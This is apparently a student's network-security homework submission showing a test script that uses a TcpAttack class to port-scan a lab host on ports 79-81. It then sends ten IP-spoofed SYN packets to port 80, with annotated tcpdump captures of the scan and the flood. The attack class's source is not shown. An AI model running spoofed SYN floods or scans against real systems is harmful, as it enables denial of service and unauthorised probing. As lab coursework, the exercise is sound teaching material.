Homework Number: 8
Name: Jose Luis Tejada
ECN Login: tejada
Due Date: Thursday 03/26/2020 at 4:29PM

Testfile:

```
spoofIP="10.0.0.10" ; targetIP="10.0.0.229"
rangeStart=79; rangeEnd=81; port=80
Tcp = TcpAttack(spoofIP,targetIP)
Tcp.scanTarget(rangeStart, rangeEnd)
if Tcp.attackTarget(port,10):
    print("port was open to attack")
else:
    print("port was not open to attack")
```

Output:

```
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
port was open to attack
```

tcpdump command:

```
sudo tcpdump -vvv -nn -s 1500 -S 'src 10.0.0.10' or 'src 10.0.0.54' or 'src 10.0.0.229' and 'dst
10.0.0.229' or 'dst 10.0.0.54' or 'dst 10.0.0.10'
```

tcpdump portScanning Output: (Note: 10.0.0.54 is IP of computer performing port scanning)

tcpdump: listening on en0, link-type EN10MB (Ethernet), capture size 1500 bytes
02:37:45.788448 IP (tos 0x0, ttl 64, id 21295, offset 0, flags [DF], proto TCP (6), length 64)
10.0.0.54.62622 > 10.0.0.229.79: Flags [S], cksum 0xd12d (correct), seq 1142865795, win 65535, options [mss 1460,nop,wscale 5,nop,nop,TS val 615068540 ecr 0,sackOK,eol], length 0
02:37:45.819063 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
10.0.0.229.79 > 10.0.0.54.62622: Flags [R.], cksum 0xa225 (correct), seq 0, ack 1142865796, win 0, length 0 **-> Port not open**

02:37:45.819578 IP (tos 0x0, ttl 64, id 51924, offset 0, flags [DF], proto TCP (6), length 64)
10.0.0.54.62623 > 10.0.0.229.80: Flags [S], cksum 0x10eb (correct), seq 3578719860, win 65535, options [mss 1460,nop,wscale 5,nop,nop,TS val 615068571 ecr 0,sackOK,eol], length 0
02:37:45.851410 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 64)
10.0.0.229.80 > 10.0.0.54.62623: Flags [S.], cksum 0x8643 (correct), seq 2680613481, ack 3578719861, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 708171311 ecr 615068571,sackOK,eol], length 0
02:37:45.851579 IP (tos 0x0, ttl 64, id 24032, offset 0, flags [DF], proto TCP (6), length 52)
10.0.0.54.62623 > 10.0.0.229.80: Flags [.], cksum 0xb5df (correct), seq 3578719861, ack 2680613482, win 4117, options [nop,nop,TS val 615068602 ecr 708171311], length 0
02:37:45.852002 IP (tos 0x0, ttl 64, id 26190, offset 0, flags [DF], proto TCP (6), length 52)
10.0.0.54.62623 > 10.0.0.229.80: Flags [F.], cksum 0xb5de (correct), seq 3578719861, ack 2680613482, win 4117, options [nop,nop,TS val 615068602 ecr 708171311], length 0
->Three-way handshake completed, Port Open.

02:37:45.852099 IP (tos 0x0, ttl 64, id 12812, offset 0, flags [DF], proto TCP (6), length 64)
10.0.0.54.62624 > 10.0.0.229.81: Flags [S], cksum 0x1add (correct), seq 585799366, win 65535, options [mss 1460,nop,wscale 5,nop,nop,TS val 615068602 ecr 0,sackOK,eol], length 0
02:37:45.888032 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 52)
02:37:45.888043 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
10.0.0.229.81 > 10.0.0.54.62624: Flags [R.], cksum 0xec12 (correct), seq 0, ack 585799367, win 0, length 0 **-> Port not open**

tcpdump portAttack Output: (Note: 10.0.0.10 is spoofing IP)
02:37:45.981309 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
10.0.0.10.20 > 10.0.0.229.80: Flags [S], cksum 0x7a90 (correct), seq 0, win 8192, length 0
02:37:45.993706 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
10.0.0.10.20 > 10.0.0.229.80: Flags [S], cksum 0x7a90 (correct), seq 0, win 8192, length 0
02:37:46.007932 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
10.0.0.10.20 > 10.0.0.229.80: Flags [S], cksum 0x7a90 (correct), seq 0, win 8192, length 0
02:37:46.020361 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
10.0.0.10.20 > 10.0.0.229.80: Flags [S], cksum 0x7a90 (correct), seq 0, win 8192, length 0
02:37:46.037939 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
10.0.0.10.20 > 10.0.0.229.80: Flags [S], cksum 0x7a90 (correct), seq 0, win 8192, length 0

02:37:46.051809 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
    10.0.0.10.20 > 10.0.0.229.80: Flags [S], cksum 0x7a90 (correct), seq 0, win 8192, length 0
02:37:46.073491 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
    10.0.0.10.20 > 10.0.0.229.80: Flags [S], cksum 0x7a90 (correct), seq 0, win 8192, length 0
02:37:46.088004 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
    10.0.0.10.20 > 10.0.0.229.80: Flags [S], cksum 0x7a90 (correct), seq 0, win 8192, length 0
02:37:46.101028 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
    10.0.0.10.20 > 10.0.0.229.80: Flags [S], cksum 0x7a90 (correct), seq 0, win 8192, length 0
02:37:46.113048 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto TCP (6), length 40)
    10.0.0.10.20 > 10.0.0.229.80: Flags [S], cksum 0x7a90 (correct), seq 0, win 8192, length 0
-> 10 SYN packets sent in rapid sucession to desired port (80)